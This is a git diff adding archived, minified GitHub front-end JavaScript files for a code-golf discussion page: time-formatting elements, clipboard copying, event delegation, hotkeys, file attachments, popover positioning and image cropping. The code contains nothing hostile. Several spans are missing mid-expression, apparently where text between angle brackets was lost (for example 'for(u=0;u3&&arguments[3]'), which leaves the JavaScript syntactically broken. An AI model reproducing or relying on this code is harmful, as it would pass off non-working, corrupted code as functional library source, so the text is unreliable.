t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const 